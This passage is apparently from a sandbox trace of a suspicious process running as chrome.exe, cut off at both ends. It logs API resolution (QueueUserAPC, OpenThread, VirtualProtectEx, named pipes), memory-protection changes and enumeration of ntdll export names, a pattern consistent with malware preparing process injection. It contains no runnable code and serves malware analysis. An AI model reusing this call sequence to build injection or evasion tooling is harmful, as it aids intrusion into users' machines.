BaseAddress=0x77040000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770567a0) returned 0x0 [0070.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705bdf0) returned 0x0 [0070.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708c0c0) returned 0x0 [0070.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bac0) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705c4c0) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77057100) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062bd0) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77055cd0) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77056620) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77056f80) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704d910) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051500) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051150) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708aa70) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704ce10) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770421e0) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705c560) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77055a50) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708a980) returned 0x0 [0070.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708c380) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708c320) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770420d0) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77048800) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77090000) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708c460) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770469f0) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a29d0) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a2ba0) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77063540) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a27e0) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bd70) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77044f80) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771840f0) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77243ad0) returned 0x0 [0070.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705bd20) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a2040) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770577c0) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7722c2d0) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bda0) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062bb0) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051930) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704cf10) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77041e00) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770420f0) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770480a0) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051370) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704b210) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a0da0) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770d8840) returned 0x0 [0070.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bb70) returned 0x0 [0070.468] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x2ff108 | out: BaseAddress=0x2ff108*=0x7fef87e0000) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e6f58) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e7d88) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e761c) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e761c) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e7848) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e7364) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e7568) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e77e0) returned 0x0 [0070.534] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7fef87e6f2c) returned 0x0 [0070.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2ff0f8*=0x1d50000, NumberOfBytesToProtect=0x2ff100, NewAccessProtection=0x4, OldAccessProtection=0x2ff0f0 | out: BaseAddress=0x2ff0f8*=0x1d50000, NumberOfBytesToProtect=0x2ff100, OldAccessProtection=0x2ff0f0*=0x40) returned 0x0 [0070.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2ff090*=0x1d51000, NumberOfBytesToProtect=0x2ff100, NewAccessProtection=0x20, OldAccessProtection=0x2ff0f0 | out: BaseAddress=0x2ff090*=0x1d51000, NumberOfBytesToProtect=0x2ff100, OldAccessProtection=0x2ff0f0*=0x40) returned 0x0 [0070.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2ff090*=0x1d8a000, NumberOfBytesToProtect=0x2ff100, NewAccessProtection=0x2, OldAccessProtection=0x2ff0f0 | out: BaseAddress=0x2ff090*=0x1d8a000, NumberOfBytesToProtect=0x2ff100, OldAccessProtection=0x2ff0f0*=0x40) returned 0x0 [0070.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2ff090*=0x1db4000, NumberOfBytesToProtect=0x2ff100, NewAccessProtection=0x4, OldAccessProtection=0x2ff0f0 | out: BaseAddress=0x2ff090*=0x1db4000, NumberOfBytesToProtect=0x2ff100, OldAccessProtection=0x2ff0f0*=0x40) returned 0x0 [0070.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2ff090*=0x1db9000, NumberOfBytesToProtect=0x2ff100, NewAccessProtection=0x2, OldAccessProtection=0x2ff0f0 | out: BaseAddress=0x2ff090*=0x1db9000, NumberOfBytesToProtect=0x2ff100, OldAccessProtection=0x2ff0f0*=0x40) returned 0x0 [0070.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2ff090*=0x1dbb000, NumberOfBytesToProtect=0x2ff100, NewAccessProtection=0x4, OldAccessProtection=0x2ff0f0 | out: BaseAddress=0x2ff090*=0x1dbb000, NumberOfBytesToProtect=0x2ff100, OldAccessProtection=0x2ff0f0*=0x40) returned 0x0 [0070.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2ff090*=0x1dbd000, NumberOfBytesToProtect=0x2ff100, NewAccessProtection=0x2, OldAccessProtection=0x2ff0f0 | out: BaseAddress=0x2ff090*=0x1dbd000, NumberOfBytesToProtect=0x2ff100, OldAccessProtection=0x2ff0f0*=0x40) returned 0x0 [0070.537] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x1ee0000 [0070.548] GetTickCount () returned 0x20711 [0070.548] GetModuleHandleA (lpModuleName=0x0) returned 0x13f510000 [0070.548] GetVersion () returned 0x1db10106 [0070.548] GetCurrentProcessId () returned 0xb70 [0070.548] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa8 [0070.548] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x208) returned 0x22dd2f0 [0070.548] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x22dd2f0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 0x3b [0070.548] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x1800) returned 0x22dd500 [0070.549] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.549] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0070.549] GetProcAddress (hModule=0x77040000, lpProcName="IsWow64Process") returned 0x770491d0 [0070.549] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb70) returned 0xb0 [0070.549] IsWow64Process (in: hProcess=0xb0, Wow64Process=0x2feff0 | out: Wow64Process=0x2feff0) returned 1 [0070.549] CloseHandle (hObject=0xb0) returned 1 [0070.549] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0070.549] lstrlenA (lpString="A_SHAFinal") returned 10 [0070.549] lstrlenA (lpString="A_SHAInit") returned 9 [0070.549] lstrlenA (lpString="A_SHAUpdate") returned 11 [0070.549] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0070.549] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0070.549] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0070.549] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0070.549] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0070.549] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0070.549] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0070.549] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0070.549] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0070.550] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0070.550] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0070.550] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0070.550] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0070.550] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0070.550] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0070.550] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0070.550] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0070.550] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0070.550] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0070.550] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0070.550] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0070.550] lstrlenA (lpString="CsrClientCallServer") returned 19 [0070.550] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0070.550] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0070.550] lstrlenA (lpString="CsrGetProcessId") returned 15 [0070.550] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0070.550] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0070.550] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0070.550] lstrlenA (lpString="DbgBreakPoint") returned 13 [0070.550] lstrlenA (lpString="DbgPrint") returned 8 [0070.550] lstrlenA (lpString="DbgPrintEx") returned 10 [0070.550] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0070.550] lstrlenA (lpString="DbgPrompt") returned 9 [0070.550] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0070.550] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0070.550] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0070.550] lstrlenA (lpString="DbgUiContinue") returned 13 [0070.550] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0070.550] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0070.550] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0070.550] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0070.550] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0070.550] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0070.550] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0070.550] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0070.550] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0070.550] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0070.550] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0070.550] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0070.550] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0070.551] lstrlenA (lpString="EtwEventEnabled") returned 15 [0070.551] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0070.551] lstrlenA (lpString="EtwEventRegister") returned 16 [0070.551] lstrlenA (lpString="EtwEventUnregister") returned 18 [0070.551] lstrlenA (lpString="EtwEventWrite") returned 13 [0070.551] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0070.551] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0070.551] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0070.551] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0070.551] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0070.551] lstrlenA (lpString="EtwEventWriteString") returned 19 [0070.551] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0070.551] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0070.551] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0070.551] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0070.551] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0070.551] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0070.551] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0070.551] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0070.551] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0070.551] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0070.551] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0070.551] lstrlenA (lpString="EtwReplyNotification") returned 20 [0070.551] lstrlenA (lpString="EtwSendNotification") returned 19 [0070.551] lstrlenA (lpString="EtwSetMark") returned 10 [0070.551] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0070.551] lstrlenA (lpString="EtwTraceMessage") returned 15 [0070.551] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0070.551] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0070.551] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0070.551] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0070.551] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0070.551] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0070.551] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0070.551] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0070.551] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0070.551] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0070.551] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0070.551] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0070.551] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0070.551] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0070.552] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0070.552] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0070.552] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0070.552] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0070.552] lstrlenA (lpString="LdrAccessResource") returned 17 [0070.552] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0070.552] lstrlenA (lpString="LdrAddRefDll") returned 12 [0070.552] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0070.552] lstrlenA (lpString="LdrEnumResources") returned 16 [0070.552] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0070.552] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0070.552] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0070.552] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0070.552] lstrlenA (lpString="LdrFindResource_U") returned 17 [0070.552] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0070.552] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0070.552] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0070.552] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0070.552] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0070.552] lstrlenA (lpString="LdrGetFailureData") returned 17 [0070.552] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0070.552] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0070.552] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0070.552] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0070.552] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0070.552] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0070.552] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0070.552] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0070.552] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0070.552] lstrlenA (lpString="LdrLoadDll") returned 10 [0070.552] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0070.552] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0070.552] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0070.552] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0070.552] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0070.552] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0070.552] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0070.552] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0070.552] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0070.552] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0070.552] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0070.553] lstrlenA (lpString="LdrResFindResource") returned 18 [0070.553] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0070.553] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0070.553] lstrlenA (lpString="LdrResRelease") returned 13 [0070.553] lstrlenA (lpString="LdrResSearchResource") returned 20 [0070.553] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0070.553] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0070.553] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0070.553] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0070.553] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0070.553] lstrlenA (lpString="LdrShutdownThread") returned 17 [0070.553] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0070.553] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0070.553] lstrlenA (lpString="LdrUnloadDll") returned 12 [0070.553] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0070.553] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0070.553] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0070.553] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0070.553] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0070.553] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0070.553] lstrlenA (lpString="MD4Final") returned 8 [0070.553] lstrlenA (lpString="MD4Init") returned 7 [0070.553] lstrlenA (lpString="MD4Update") returned 9 [0070.553] lstrlenA (lpString="MD5Final") returned 8 [0070.553] lstrlenA (lpString="MD5Init") returned 7 [0070.553] lstrlenA (lpString="MD5Update") returned 9 [0070.553] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0070.553] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0070.553] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0070.553] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0070.553] lstrlenA (lpString="NtAccessCheck") returned 13 [0070.553] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0070.553] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0070.553] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0070.553] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0070.553] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0070.553] lstrlenA 